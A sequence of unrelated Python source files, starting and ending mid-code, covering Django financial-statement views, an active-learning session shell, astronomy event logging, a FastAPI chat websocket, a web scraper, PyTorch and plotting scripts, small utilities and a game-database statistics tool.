        symbol_id = Indicator.objects.filter(symbol=kwargs['symbol']).first().id
        income_statements = BalanceSheetStatement.objects.filter(symbol=symbol_id).all()

        if income_statements.count() == 0:
            ListIncomeStatements.fetch_financial_statements(kwargs['symbol'], symbol_id)
            income_statements = BalanceSheetStatement.objects.filter(symbol=symbol_id).all()

        return Response(status=status.HTTP_200_OK,
                        data=BalanceSheetStatementSerializer(income_statements, many=True).data)

class ListCashFlowStatements(ListAPIView):
    serializer_class = CashFlowStatementSerializer
    queryset = CashFlowStatement.objects.all()

    def get(self, request, *args, **kwargs):
        symbol_id = Indicator.objects.filter(symbol=kwargs['symbol']).first().id
        income_statements = CashFlowStatement.objects.filter(symbol=symbol_id).all()

        if income_statements.count() == 0:
            ListIncomeStatements.fetch_financial_statements(kwargs['symbol'], symbol_id)
            income_statements = CashFlowStatement.objects.filter(symbol=symbol_id).all()

        return Response(status=status.HTTP_200_OK, data=CashFlowStatementSerializer(income_statements, many=True).data)


import json
import time
from jpl_ta1.api_handler import LwllApiHandler
from jpl_ta1.model_wrapper import ModelWrapper
from typing import List, Any
from datetime import datetime
from jpl_ta1.logger import get_module_logger

class Session:

    def __init__(self, environment: str, dataset_config: str, task_id: str, api_handler: LwllApiHandler, dataset_dir: str,
                 problem_type: str = None, name_prefix: str = "", name_postfix: str = "", **kwargs: Any) -> None:
        # Configuration variables
        self.environment = environment
        self.dataset_config = dataset_config
        self.task_id = task_id
        self.api_handler = api_handler
        self.dataset_dir = dataset_dir
        self.log_level = kwargs['log']
        self.log = get_module_logger(__name__, self.log_level)
        self.problem_type = problem_type

        # Session state variables
        session_name = f"{name_prefix} - Run starting at {datetime.now().strftime('%m/%d/%Y, %H:%M:%S')} - {name_postfix}"
        self.log.info(f"Starting session with name: {session_name}")
        self.session_token = self.api_handler.start_session(self.task_id, session_name, self.dataset_config)
        self.metadata = self._refresh_metadata()
        self.log.debug(f'Initial Session Metadata: {self.metadata}')

        # Session state evolution variables
        self.label_cache: dict = {}  # this will become more advance as we start implementing actual TA1 logic and not just a shell

    def run(self) -> None:
        # instantiate our ModelWrapper that will have the ability to be parameterized to do everything from ensembles to
        # more complex model constructions
        t_start = int(time.time())
        model = ModelWrapper(self.environment, self.dataset_dir, self.dataset_config, log=self.log_level)

        if self.problem_type == 'machine_translation':
            range_lim = 8
        else:
            range_lim = 4

        for stage in ['base', 'adaptation']:
            self.log.info(f"Starting Stage: {stage}")
            # We make sure our ModelWrapper knows which stage it is in for downstream logic controlling domain adaption methodologies
            model.set_stage(stage, self.metadata['current_dataset'])

            # Stage 1 - 4 Get Seed Labels
            if self.problem_type != 'machine_translation':
                for i in range(4):
                    self.log.info(f"Getting Round {i + 1} Seed Labels")
                    seed_labels = self.api_handler.get_seed_labels(self.session_token)
                    self.metadata = self._refresh_metadata()  # refreshes how many labels we have until checkpoint
                    self.log.info(f"Budget used: {self.metadata['budget_used']}, " +
                                  f"Budget left: {self.metadata['budget_left_until_checkpoint']}")
                    self._add_to_label_cache(seed_labels, seed_round=True)
                    model.fit(self.label_cache)
                    self.api_handler.submit_predictions(self.session_token, model.predict())
                    self.metadata = self._refresh_metadata()
                    # self.log.info(f"Submitted predictions: {self.metadata}")
                    self.log.info(f"Submitted predictions. Budget used: {self.metadata['budget_used']}, "
                                  + f"Budget left: {self.metadata['budget_left_until_checkpoint']}")

            # Stage 5 - 8 -- Active Learning Rounds
            for i in range(range_lim):
                if self.problem_type == 'machine_translation':
                    self.log.info(f"Starting checkpoint `{i}` loop for current stage")
                else:
                    self.log.info(f"Starting checkpoint `{i+5}` loop for current stage")

                while self.metadata['budget_left_until_checkpoint'] > 0:
                    self._request_label_loop(model)
                    model.fit(self.label_cache)
                    self.metadata = self._refresh_metadata()  # refreshes how many labels we have until checkpoint
                    self.log.info(f"Submitted predictions. Budget used: {self.metadata['budget_used']}, "
                                  + f"Budget left: {self.metadata['budget_left_until_checkpoint']}")
                    # While this JPL TA1 is just a shell, we artificially change the metadata `budget_left_until_checkpoint` to 0
                    # When we start actually requesting labels this will go down as we request more labels in our `_request_label_loop` loop
                    self.metadata['budget_left_until_checkpoint'] = 0
                self.api_handler.submit_predictions(self.session_token, model.predict())
                self.metadata = self._refresh_metadata()

                # assert to verify the session metadata is doing what we want it to and we are going on to
                # the adaptation phase
                if i == range_lim and model.pair_stage == 'base':
                    assert self.metadata['pair_stage'] == 'adaptation'

        # Assert that we have finished this particular Session
        assert self.metadata['active'] == 'Complete', f"Session is not complete. Metadata: {self.metadata}"
        t_end = int(time.time())
        m, s = divmod(int(t_end - t_start), 60)
        h, m = divmod(m, 60)
        time_str = f'{h:d} Hours {m:02d} Minutes and {s:02d} seconds'
        self.log.info(f"Successfully completed Session. Finished Session run in {time_str}")

        return

    def _request_label_loop(self, model: ModelWrapper) -> None:
        """
        Active Learning Loop

        In this loop we want to exploit what our model is most uncertain about or other methods to determine what we should be requesting for
        """
        samples_to_request = model.most_uncertain_unlabeled_items()
        labels = self.api_handler.request_labels(self.session_token, samples_to_request)
        self._add_to_label_cache(labels, seed_round=False)

    def _add_to_label_cache(self, labels: List[dict], seed_round: bool = False) -> None:
        """
        Helper method to add to our label cache state throughout a session

        *This doesn't do anything for the time being until we start implementing our own TA1 logic and
        move beyond just an example shell
        """
        pass

    def _refresh_metadata(self) -> dict:
        """
        Helper to refresh metadata on current session
        """
        old_metadata = {}
        # Make sure we've already fetched the metadata before trying to load the old version
        if hasattr(self, "metadata"):
            old_metadata = json.loads(json.dumps(self.metadata))
            # Delete date_last_interacted for comparison as this can give a false positive that things were changed
            del old_metadata["date_last_interacted"]

        metadata = self.api_handler.get_session_metadata(self.session_token)

        # Check if metadata changed and log if it didn't (json conversion hack to do a deep copy)
        new_metadata = json.loads(json.dumps(metadata))
        del new_metadata["date_last_interacted"]
        if json.dumps(old_metadata) == json.dumps(new_metadata):
            self.log.info(f"Session metadata did not change after refresh...")

        return metadata


from django.core.management.base import BaseCommand
from events.models import Event, Tap, EventName, Field, Operator, SingleModel
from django.core.exceptions import ObjectDoesNotExist
from os import path
from astropy.time import Time

class Command(BaseCommand):
    args = ''
    help = ''

    def add_arguments(self, parser):
        parser.add_argument('output_dir', nargs='+', type=str)

    def _extract_eventname(self, event):
        qs = EventName.objects.filter(event_id=event.pk)
        if len(qs) > 0:
            name = qs[0].name
            for entry in qs[1:]:
                name += '/' + entry.name
        else:
            return 'None'

        return name

    def _record_event(self,event, event_name, model):
        target = Field.objects.filter(pk=event.field.pk)[0]
        survey = Operator.objects.filter(pk=event.operator.pk)[0]
        if model == None:
            entry = event_name+' '+event.ev_ra+' '+event.ev_dec+' '+\
                survey.name+' '+target.name+' '+str(event.ibase)+' '+event.status+' '+\
                str(event.anomaly_rank)+' '+event.year+' '+repr(event.override)+' '+\
                '0.0'+' '+'0.0'+' '+'0.0'+' '+'0.0'+' '+\
                '0.0'+' '+'0.0'+' '+'0.0'+' '+'0.0'+' '+\
                '0.0'+' '+'0.0'+' '+'0.0'+' '+'0.0'+' '+\
                'None'+' '+'None'+' '+'0.0'+' '+'0.0'+'\n'
        else:
            last_update = model.last_updated.strftime("%Y-%m-%dT%H:%M:%S")
            entry = event_name+' '+event.ev_ra+' '+event.ev_dec+' '+\
                survey.name+' '+target.name+' '+str(event.ibase)+' '+event.status+' '+\
                str(event.anomaly_rank)+' '+event.year+' '+repr(event.override)+' '+\
                str(model.Tmax)+' '+str(model.e_Tmax)+' '+str(model.tau)+' '+str(model.e_tau)+' '+\
                str(model.umin)+' '+str(model.e_umin)+' '+str(model.rho)+' '+str(model.e_rho)+' '+\
                str(model.pi_e_n)+' '+str(model.e_pi_e_n)+' '+str(model.pi_e_e)+' '+str(model.e_pi_e_e)+' '+\
                model.modeler+' '+last_update+' '+str(model.tap_omega)+' '+str(model.chi_sq)+'\n'
        return entry

    def _cStr(self,datum):
        try:
            strDatum = str(datum)
        except TypeError:
            strDatum = repr(datum)
        return strDatum

    def _record_tap_entry(self,tap_record):
        date_gen = tap_record.timestamp.strftime("%Y-%m-%dT%H:%M:%S")
        ts = Time(date_gen,format='isot',scale='utc')
        mjd = str(ts.mjd)
        try:
            entry = date_gen + ' ' + mjd + ' ' + tap_record.priority + ' ' + \
                    self._cStr(tap_record.tsamp) + ' ' + self._cStr(tap_record.texp) + ' ' + \
                    self._cStr(tap_record.nexp) + ' ' + tap_record.telclass + ' ' + \
                    self._cStr(tap_record.imag) + ' ' + self._cStr(tap_record.omega) + ' ' + \
                    self._cStr(tap_record.err_omega) + ' ' + self._cStr(tap_record.peak_omega) + ' ' + \
                    self._cStr(tap_record.blended) + ' ' + self._cStr(tap_record.visibility) + ' ' + \
                    self._cStr(tap_record.cost1m) + ' ' + self._cStr(tap_record.passband) + ' ' + \
                    self._cStr(tap_record.ipp) + '\n'
        except TypeError:
            print(date_gen, mjd)
            for par in [tsamp, texp, nexp, telclass,imag, omega,err_omega, peak_omega, cost1m, visibility, passband, ipp]:
                print(par, getattr(tap_record, par))

        return entry

    def _summarize_tap(self,*args, **options):
        event_list = Event.objects.all()

        eventfile = open(path.join(options['output_dir'][0],'events','event_summary.log'), 'w')
        eventfile.write('# Entry records last SingleModel parameters for each event\n')
        eventfile.write('# Eventname    RA      Dec       I_base(mag)  Event_status   Anomaly_rank   Discovery_year   Tmax  err_Tmax   tau   err_tau   umin   err_umin  rho   err_rho  pi_e_n  err_pi_e_n  pi_e_e   err_pi_e_e  modeler  last_updated  tap_omega   chisq\n')

        for i,event in enumerate(event_list):
            if (i%100) == 0:
                print('-> Recording event '+str(i))

            event_name = self._extract_eventname(event)
            try:
                model = SingleModel.objects.filter(event=event.pk).latest('last_updated')
            except ObjectDoesNotExist:
                model = None
            eventfile.write(self._record_event(event, event_name, model))

            logfile = open(path.join(options['output_dir'][0],'events',event_name.replace('/','_')+'_tap_summary.log'), 'w')
            logfile.write('# Date_generated   Date_gen_MJD   Priority   Tsamp(hrs)   Texp(s)   Nexp   Telclass   Imag   Omega '+\
                'Err_omega   Peak_omega   Blended   Visibility    Cost1m   Passband   IPP\n')

            qs = Tap.objects.filter(event=event.pk)
            try:
                for entry in qs:
                    item = self._record_tap_entry(entry)
                    logfile.write(item)
            except TypeError:
                print('Cannot output TAP data for '+event_name)

            logfile.close()

        eventfile.close()

    def handle(self,*args, **options):
        self._summarize_tap(*args, **options)


from typing import Annotated

from fastapi import FastAPI, WebSocket, WebSocketDisconnect, Depends, Cookie
from fastapi.middleware.cors import CORSMiddleware

from .services import get_chatbot_maker

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["http://localhost:3000"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

class ModelApiExtractor:
    def __init__(self, api_key: Annotated[str, Cookie()], model: Annotated[str, Cookie()]):
        self.api_key = api_key
        self.model = model

@app.get("/")
async def root():
    return {"message": "Hello World"}

@app.get("/models")
async def models() -> list[dict]:
    return [{"id": idx, "name": value} for idx, value in enumerate(get_chatbot_maker().keys())]

@app.websocket("/chat")
async def chat_endpoint(websocket: WebSocket, config: Annotated[ModelApiExtractor, Depends()]):
    await websocket.accept()
    chatbot = get_chatbot_maker()[config.model](config.api_key)
    await websocket.send_json({"sender": "bot", "text": "Hello, Alice here, how can I help you?"})
    while True:
        try:
            data = await websocket.receive_json()
            bot_response = chatbot.chat(human_input=data["text"])
            await websocket.send_json({"sender": "bot", "text": bot_response})
        except WebSocketDisconnect:
            break


import requests
from bs4 import BeautifulSoup
import pandas as pd
url = "https://www.numbeo.com/cost-of-living/rankings_by_country.jsp"
page = requests.get(url)
soup = BeautifulSoup(page.text, 'lxml')
table = soup.find('table', id = 't2')
head = []

for i in table.find_all('th'):
    head.append(i.text)
print(head)

data = pd.DataFrame(columns = head)

for j in table.find_all('tr')[1:]:
    row_data = j.find_all('td')
    row = [i.text for i in row_data]

    length = len(data)

    data.loc[length] = row

data.to_json('cost_of_living.json')

datatest = pd.read_json("cost_of_living.json")


import torch
import torch.nn as nn
import torch.nn.functional as F
from modeling.sync_batchnorm.batchnorm import SynchronizedBatchNorm2d

class Decoder(nn.Module):

    def __init__(self, n_class, BatchNorm):
        super(Decoder, self).__init__()
        eps = 1e-5
        momentum = 0.1
        self._conv = nn.Sequential(
                                    nn.ReLU(inplace=True),
                                    nn.Conv2d(304, 256, kernel_size=3, stride=1, padding=1, bias=False),
                                    BatchNorm(256, eps=eps, momentum=momentum),
                                    nn.ReLU(inplace=True),
                                    # 3x3 conv to refine the features
                                    nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1, bias=False),
                                    BatchNorm(256, eps=eps, momentum=momentum),
                                    nn.ReLU(inplace=True),
                                    nn.Conv2d(256, n_class, kernel_size=1, stride=1))

    def forward(self, x, low_level, size):
        x = F.interpolate(x, [low_level.shape[2], low_level.shape[3]], mode='bilinear') \
            if x.shape[2] != low_level.shape[2] else x
        x = torch.cat((x, low_level), 1)
        x = self._conv(x)
        x = F.interpolate(x, size, mode='bilinear')

        return x


import matplotlib.pyplot as plt
import random
import numpy as np

# function to calculate total
def total(a):
    c = [a[0]]
    for j in range(1, 10):
        k = c[j - 1] + a[j]
        c.append(k)
    return c

india = []
england = []

# Generating random scores
for i in range(0, 10):
    n = random.randint(1, 100)
    m = random.randint(1, 100)
    england.append(m)
    india.append(n)
print('India => ', india)
print('England=> ', england)

x1 = np.arange(0, 10, 1)

# Calculating total after each wicket
y1 = total(india)
y2 = total(england)

# plotting the india points
plt.plot(x1, y1, '-ob', label="India")
# plotting the England points
plt.plot(x1, y2, '-or', label="England")

# naming the x axis
plt.xlabel('Wickets')
# naming the y axis
plt.ylabel('Runs')
# giving a title to my graph
plt.title('Performance')
# show a legend on the plot
plt.legend()
# function to show the plot
plt.show()


"""Datetime utilities."""

import numpy as np
import pandas as pd

from vectorbt.utils import checks

DatetimeTypes = (pd.DatetimeIndex, pd.TimedeltaIndex, pd.PeriodIndex)

def freq_delta(freq):
    """Return delta of frequency."""
    if isinstance(freq, str) and not freq[0].isdigit():
        # Otherwise "ValueError: unit abbreviation w/o a number"
        freq = '1' + freq
    return pd.to_timedelta(freq)

def to_time_units(obj, freq):
    """Multiply each element with `freq_delta` to get result in time units."""
    if not checks.is_array(obj):
        obj = np.asarray(obj)
    return obj * freq_delta(freq)


"""Parameter space exploration tool.

See the documentation at https://github.com/amorison/parspace
"""

from itertools import product

class ParSpace:
    """Parameter space explorer.

    Example:
        >>> @ParSpace(asp=[0.5, 1, 2],
        >>>           density=[1, 10])
        >>> def launch_simu(asp, density):
        >>>     print(f"aspect ratio {asp} and density {density}")
        >>> launch_simu()
        aspect ratio 0.5 and density 1
        aspect ratio 0.5 and density 10
        aspect ratio 1 and density 1
        aspect ratio 1 and density 10
        aspect ratio 2 and density 1
        aspect ratio 2 and density 10
    """

    def __init__(self, **space):
        self._space = space
        self._thunk = None

    def _sweeper(self):
        parnames = list(self._space.keys())
        for comb in product(*(self._space[name] for name in parnames)):
            yield dict(zip(parnames, comb))

    def __iter__(self):
        if self._thunk is None:
            yield from self._sweeper()
            return
        for pars in self._sweeper():
            yield pars, self._thunk(**pars)

    def __call__(self, func=None):
        if func is not None:
            self._thunk = func
            return self
        for _ in iter(self):
            pass


# -*- coding: utf-8 -*-
"""
Created on Tue Aug 11 20:27:50 2020

@author: renli
"""

# recursive
def getUmbrellas(V, deno):
    from functools import lru_cache
    deno=tuple(deno)
    @lru_cache(maxsize=None)
    def f(requirement,size):
        if requirement==0:
            return 0
        elif requirement<0:
            return float('inf')
        if not size:
            return float('inf')
        res=min(
            (f(requirement-ele,size) for ele in size)
            )+1
        return res

    res=f(V,deno)
    return res if res!=float('inf') else -1

#dynamic programming
def getUmbrellas(V, deno):
    dp=[float('inf')]*(V+1)
    dp[0]=0
    for i,ele in enumerate(dp[1:]):
        i=i+1
        min_res=float('inf')
        for size in deno:
            if i-size>=0:
                min_res=min(min_res,dp[i-size])
        dp[i]=min_res+1
    return dp[-1] if dp[-1]!=float('inf') else -1

if __name__=="__main__":
    res=getUmbrellas(7,[3,5])


import json
import zlib
import copy
from pipeflow import Task

class TaskProtocal(Task):
    __slots__ = ['_info']
    def __init__(self, task):
        assert isinstance(task, (Task, dict)), "task should be a instance of Task or dict"
        if isinstance(task, Task):
            _data = task.get_raw_data()
            super(TaskProtocal, self).__init__(_data)
            self.set_from(task.get_from())
            self.set_to(task.get_to())
            self.set_confirm_handle(task.get_confirm_handle())
            self._info = json.loads(zlib.decompress(_data).decode('utf-8'))
        else:
            super(TaskProtocal, self).__init__(zlib.compress(json.dumps(task).encode('utf-8')))
            self._info = task
        assert 'i' in self._info and 'tid' in self._info, "Task Protocal illegal"

    def get_data(self):
        return copy.deepcopy(self._info['data'])

    def get_tid(self):
        return self._info['tid']

    def get_step(self):
        return self._info['i']

    def new_task(self, data, tid=None, next_step=False):
        assert isinstance(data, dict), "data isn't a dict"
        if 'extra' in self._info['data']:
            dct = data.setdefault("extra", {})
            dct.update(self._info['data']['extra'])
        dct = {
            'tid': tid if tid else self._info['tid'],
            'i': 0 if tid else self._info['i']+1 if next_step else self._info['i'],
            'data': data
        }
        tp = TaskProtocal(dct)
        tp.set_confirm_handle(self.get_confirm_handle())
        return tp


# -*- coding: utf-8 -*-
import cv2

def mouse_callback(event, x, y, flags, param):
    if event == cv2.EVENT_LBUTTONDOWN:
        print(f"Selected coordinates: ({x}, {y})")

image = cv2.imread("image.jpg")
cv2.namedWindow("Image")
cv2.setMouseCallback("Image", mouse_callback)

while True:
    cv2.imshow("Image", image)
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break

cv2.destroyAllWindows()


import matplotlib
import numpy as np

matplotlib.rcParams['pdf.fonttype'] = 42
matplotlib.rcParams['ps.fonttype'] = 42
from matplotlib import pyplot as plt
from cnns.nnlib.robustness.utils import to_fft_magnitude
import torch
from cnns.nnlib.utils.object import Object
from cnns.nnlib.datasets.ucr.ucr_example import fifty_words
from cnns.nnlib.pytorch_layers.pytorch_utils import get_full_energy_only

# http://ksrowell.com/blog-visualizing-data/2012/02/02/optimal-colors-for-graphs/
MY_BLUE = (56, 106, 177)
MY_RED = (204, 37, 41)
MY_ORANGE = (218, 124, 48)
MY_GREEN = (62, 150, 81)
MY_BLACK = (83, 81, 84)
MY_GOLD = (148, 139, 61)

def get_color(COLOR_TUPLE_255):
    return [x / 255 for x in COLOR_TUPLE_255]

colors = [get_color(color) for color in
          [MY_GREEN, MY_BLUE, MY_BLACK, MY_ORANGE, MY_GOLD, MY_RED]]

figuresizex = 9.0
figuresizey = 5.0
fig = plt.figure(figsize=(figuresizex, figuresizey))

lw = 1
onesided = False
normalized = True
signal = fifty_words

print("Energy of the input signal: ", np.sum(np.square(signal)))

print("min max value signal: ", np.min(signal), np.max(signal))
is_log = True
markers = ["^", "o", "v", "s", "D", "p"]

signal = signal[0][0]
print("signal length: ", len(signal))
print("Energy of the input signal (torch): ",
      torch.sum(torch.pow(torch.from_numpy(signal), 2)).item())
plt.subplot(2, 2, 1)
plt.plot(range(len(signal)), signal, label="input signal", lw=1,
         color=colors[1])
plt.title("Time domain")
plt.ylabel("Amplitude")
plt.xlabel("Sample number")
plt.legend(frameon=False)

plt.subplot(2, 2, 2)

xfft = torch.rfft(torch.from_numpy(signal), onesided=onesided, signal_ndim=1,
                  normalized=normalized)
print("Energy in the frequency domain (pytorch): ", get_full_energy_only(xfft))
x_numpy = xfft[..., 0].numpy() + 1.0j * xfft[..., 1].numpy()
print("Energy in the frequency domain (numpy): ",
      np.sum(np.power(np.absolute(x_numpy), 2)))
xfft_mag = to_fft_magnitude(xfft, is_log)
plt.plot(range(len(signal)), xfft_mag, label="fft-ed signal", lw=lw,
         color=colors[2])
plt.title("Frequency domain")
plt.ylabel("dB")
plt.xlabel("Frequency (sample number)")
plt.legend(frameon=False)

compression_rate = 95
out_len = len(signal) * (100 - compression_rate) / 100
start = int(out_len // 2)
end = int(len(signal) - start)
print("compression rate, start, end: ", compression_rate, start, end)
xfft[start:end] = 0
signal2 = torch.irfft(xfft, onesided=onesided, signal_ndim=1,
                      normalized=normalized)
signal2 = signal2.numpy()

plt.subplot(2, 2, 3)
plt.plot(range(len(signal2)), signal, label="input signal", lw=lw,
         color=colors[1])
plt.plot(range(len(signal2)), signal2, label="compressed signal\n(" + str(
    compression_rate) + "% compression\nrate)", lw=lw,
         color=colors[5])
plt.legend(loc="upper left", frameon=False)
plt.ylabel("Amplitude")
plt.xlabel("Sample number")

plt.subplot(2, 2, 4)
xfft_mag = to_fft_magnitude(xfft, is_log)
plt.plot(range(len(signal)), xfft_mag,
         label="fft-ed signal\n(" + str(
             compression_rate) + "% compression rate)",
         lw=lw, color=colors[2])
plt.ylabel("dB")
plt.xlabel("Frequency (sample number)")
plt.legend(loc="upper center", frameon=False)

# type = "exact"
# type = "proxy"
compress_fft_layer = 50
result = Object()

# xfft = get_fft(image)
# image = np.clip(image, a_min=0.0, a_max=1.0)

# xfft = get_fft(image)
# xfft += np.abs(xfft.min())
# xfft = np.clip(xfft, a_min=0.0, a_max=118.0)
# image = np.moveaxis(image, 0, -1)

# example of titling colorbar1
# cbar1.set_label_text("label")

# readjust figure margins after adding colorbars,
# left and right are unequal because of how
# colorbar labels don't appear to factor in to the adjustment
# plt.subplots_adjust(left=0.075, right=0.9)

plt.subplots_adjust(hspace=0.3)

type = "original"
format = "pdf"  # "png" "pdf"
plt.savefig(fname=type + "-1D-2." + format, format=format)
plt.show(block=True)
plt.close()


#!/usr/bin/env python
# -*- coding:utf-8 -*-
#Python2.x除法保留2位小数
# from __future__ import division
# from __future__ import print_function
# from __future__ import unicode_literals

from sqlalchemy import Column,create_engine,Integer,DateTime
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import and_
from sqlalchemy import inspect
import argparse,sys
import datetime
import time
import re

#Python2.x的中文支持
# reload(sys)
# sys.setdefaultencoding('utf-8')

from config.conf_database import get_arg # 数据库连接配置
from config.conf_database import test_db # 数据库连接测试
from core import DataManager
from core.DBfunction import DBs
from core.MongoFun import Mongo_DBs
from core.RedisFunction import Redis_DBs

#用户全局变量
#stables_count=511
# engine01 = create_engine('mysql+pymysql://%s:%s@%s:%d/%s' % (get_arg('user'),get_arg('passwd'),get_arg('url'),get_arg('port'),get_arg('dbs')['userdb1']), max_overflow=15, echo=False)
# engine02 = create_engine('mysql+pymysql://%s:%s@%s:%d/%s' % (get_arg('user'),get_arg('passwd'),get_arg('url'),get_arg('port'),get_arg('dbs')['userdb2']), max_overflow=15, echo=False)
# Satisfy_reg_uidset=[]
# Satisfy_login_set=[]

# base=declarative_base()
##获取数据库内所有表的信息#######
# base.metadata.reflect(engine01)
# tables = base.metadata.tables
# print(tables)
##获取数据库内所有表的信息 END####

# def usage():
#     '''
#     输出帮助信息
#     '''
#     print(
# """
# Usage:  sys.args[0]       [option]
#
# [option]：
#
# -h or --help：显示帮助信息
# -l or --login：指定查询那个日期的登录记录      例如: 2019-06-06
# -r or --reg：指定查询那个日期的注册记录      例如: 2019-06-06
# """
#     )
#
# def argv_check():
#     '''
#     判断是否输入了参数
#     '''
#     if len(sys.argv) == 1:
#         usage()
#         sys.exit()
#
# def parser_flag():
#     '''
#     获取用户输入参数的函数
#     :return:
#     '''
#     #帮助信息
#     parser=argparse.ArgumentParser(description="输入登录记录和注册记录的查询日期")
#     #相关选项
#     parser.add_argument("-l","--login",help="指定查询那个日期的登录记录      例如: 2019-06-06")
#     parser.add_argument("-r","--reg",help="指定查询那个日期的注册记录      例如: 2019-06-06")
#     #获取参数
#     # args=parser.parse_args()
#     return parser.parse_args()

class Collets(object):
    def __init__(self,argv_list):

        self.engine01 = create_engine('mysql+pymysql://%s:%s@%s:%d/%s' % (get_arg('user'),get_arg('passwd'),get_arg('url'),get_arg('port'),get_arg('dbs')['userdb1']), max_overflow=15, echo=False)
        self.engine02 = create_engine('mysql+pymysql://%s:%s@%s:%d/%s' % (get_arg('user'),get_arg('passwd'),get_arg('url'),get_arg('port'),get_arg('dbs')['userdb2']), max_overflow=15, echo=False)
        self.argvs=argv_list
        self.data_time=time.strftime("%Y-%m-%d", time.localtime())
        self.GAME_COUNT_NUM = 50 # 游戏记录次数
        self.mongo_list=[]
        self.mongo_dict={}
        self.mysql_list=[]
        self.redis_list=[]
        self.pattern = re.compile(r'^userInfo_[0-9]{3}')
        self.__data_check()
        self.__parse_argv()

    def __data_check(self):
        '''
        检测是否自定义了日期
        :return:
        '''
        if len(self.argvs) >= 3:
            self.validate(self.argvs[2])
            self.data_time=self.argvs[2]

    def __parse_argv(self):
        '''
        模块不同功能
        :return:
        '''
        if len(self.argvs) >1:
            if hasattr(self,self.argvs[1]):
                func = getattr(self,self.argvs[1])
                func()
            else:
                print('找不到对应的模块功能')
                self.help_msg()
        else:
            print('请输入功能参数')
            self.help_msg()

    def help_msg(self):
        '''帮助信息'''
        msg = '''
        dbtest                         测试数据库连接
        people                         查询注册总人数
        regpeople  <yyyy-mm-dd>        查询某日注册总的用户数，默认为当日
        pay        <yyyy-mm-dd>        查询某日支付用户数，默认为当日
        record     <yyyy-mm-dd>        查询某日游戏记录较多的用户数，默认为当日
        active     <yyyy-mm-dd>        查询某日活跃的用户数，默认为当日
        inputs     <yyyy-mm-dd>        查询某日投入前100的玩家数，默认为当日（即时查询）
        outputs    <yyyy-mm-dd>        查询某日产出前100的玩家数，默认为当日（即时查询）
        revenues   <yyyy-mm-dd>        查询某日游戏的营收（默认为昨日，超过昨天日期默认为昨日）
        win_rank   <yyyy-mm-dd>        查询某日赢前100的玩家
        lose_rank  <yyyy-mm-dd>        查询某日输前100的玩家
        '''
        print(msg)

    def dbtest(self):
        '''
        测试数据库连接
        :return:
        '''
        test_db()

    # def date_oper(self,srt_time):
    #     '''
    #     日期处理
    #     :param srt_time:
    #     :return: 返回当前日期后一天的日期
    #     '''
    #     try:
    #         now=datetime.datetime.strptime(srt_time,'%Y-%m-%d')
    #         now_later=now+datetime.timedelta(days=1)
    #         return  now_later.strftime('%Y-%m-%d')
    #     except ValueError:
    #         print("请输入正确的日期格式")
    #         sys.exit(600)

    def regpeople(self):
        '''
        默认查询当日注册总人数
        :return:
        '''
        self.Satisfy_db(self.engine01,self.query_db,re.compile(r'^userInfo_[0-9]{3}'),'qure_res')
        # self.Satisfy_db(self.engine02)
        self.reg_out_put()

    def people(self):
        '''
        查询总注册人数
        :return:
        '''
        self.Satisfy_db(self.engine01,self.query_db,re.compile(r'^userInfo_[0-9]{3}'),'qure_all')
        self.all_people_out()

    def pay(self):
        '''
        查询支付情况
        :return:
        '''
        self.Satisfy_db(self.engine02,self.query_db,re.compile(r'^payInfo_[0-9]{3}'),'qure_pay')
        self.pay_out_put()

    def record(self):
        '''
        查询游戏记录
        :return:
        '''
        mongo_fun = Mongo_DBs(self.data_time,self.GAME_COUNT_NUM)
        self.count_list(mongo_fun.game_record())
        self.record_out_put()

    def active(self):
        '''
        查询活跃用户数
        :return:
        '''
        self.pay()
        self.record()
        self.active_out_put()

    def inputs(self):
        '''
        查询玩家产出前100
        :return:
        '''
        redis_fun=Redis_DBs(self.data_time,'redis_input')
        self.redis_list = redis_fun.dofun()
        self.player_out_put('input')

    def outputs(self):
        '''
        查询玩家投入前100
        :return:
        '''
        redis_fun=Redis_DBs(self.data_time,'redis_output')
        self.redis_list = redis_fun.dofun()
        self.player_out_put()

    def revenues(self):
        '''玩家游戏营收情况'''
        mongo_fun=Mongo_DBs(self.data_time,self.GAME_COUNT_NUM)
        self.mongo_list = mongo_fun.revenue()
        DataManager.num_dict_initialize() # 初始化字典
        self.mongo_dict = DataManager.openr_games(self.mongo_list)
        # print(self.mongo_dict)
        # self.player_revenues_output()

    def win_rank(self):
        '''每日赢前100的玩家'''
        # mongo_fun = Mongo_DBs(self.data_time, self.GAME_COUNT_NUM)
        mongo_fun = Mongo_DBs(self.data_time, self.GAME_COUNT_NUM)
        self.mongo_list=mongo_fun.win_record()
        print(self.mongo_list)
        self.rank_out('win')

    def lose_rank(self):
        '''每日输前100的玩家'''
        # mongo_fun = Mongo_DBs(self.data_time, self.GAME_COUNT_NUM)
        mongo_fun = Mongo_DBs(self.data_time, self.GAME_COUNT_NUM)
        self.mongo_list=mongo_fun.lose_record()
        self.rank_out()

    def Satisfy_db(self,engine,fun,pattern,db_fun):
        '''
        库内列表遍历函数
        :param engine:
        :return:
        '''
        db_funs = db_fun
        SessionCls = sessionmaker(bind=engine)
        session = SessionCls()

        inspector = inspect(engine)

        print('%s引擎查询中，请稍候...' % engine)
        for table_name in inspector.get_table_names():
            # 使用re做表名的判断过滤，然后再查询
            if pattern.match(table_name):
                fun(table_name,session,db_funs)
        session.close()

    # def querys_db(self,table_name,session):
    #     '''
    #     查询功能方法，已被query_db方法替换
    #     :param table_name:
    #     :param session:
    #     :return:
    #     '''
    #     ##日期处理##
    #     reg_time_later=self.date_oper(self.data_time)
    #     # login_time_later=date_oper(login_time)
    #     base = declarative_base()
    #     # Satisfy_login_set=[]
    #     class userInfo(base):
    #         __tablename__ = table_name
    #         uid = Column(Integer, primary_key=True, autoincrement=True)
    #         loginTime = Column(DateTime)
    #         registerTime = Column(DateTime)
    #     reg_objs=session.query(userInfo).filter(and_(userInfo.registerTime>= self.data_time ,userInfo.registerTime < reg_time_later )) #注册人数
    #     # login_objs=session.query(userInfo).filter(and_(userInfo.loginTime>= login_time ,userInfo.loginTime < login_time_later))
    #     try:
    #         for index_obj in reg_objs:
    #             self.mysql_list.append(index_obj.uid)
    #         # for index in login_objs:
    #         #     Satisfy_login_set.append(index.uid)
    #     except AttributeError:
    #         print('查询的值不存在')

    def validate(self,date_text):
        '''
        检测日期格式是否正确
        :param date_text:
        :return:
        '''
        try:
